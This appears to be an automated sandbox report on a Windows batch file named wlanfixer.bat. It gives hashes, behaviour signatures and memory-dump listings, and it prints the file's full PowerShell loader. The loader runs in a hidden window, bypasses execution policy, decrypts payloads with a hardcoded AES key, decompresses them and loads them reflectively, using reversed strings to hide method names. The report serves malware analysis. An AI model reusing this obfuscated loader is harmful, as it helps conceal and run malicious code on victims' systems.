31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23-04-2024 13:12

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General

Target

wlanfixer.bat
Size

3.5MB
MD5

45730c9d81cdc2677ea2bd082eb79edb
SHA1

7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA256

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512

d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP

49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2636	2768	cmd.exe	29
PID 2768 wrote to memory of 2636	2768	cmd.exe	29
PID 2768 wrote to memory of 2636	2768	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2636-4-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2636-5-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2636-6-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2636-8-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2636-7-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2636-9-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2636-10-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download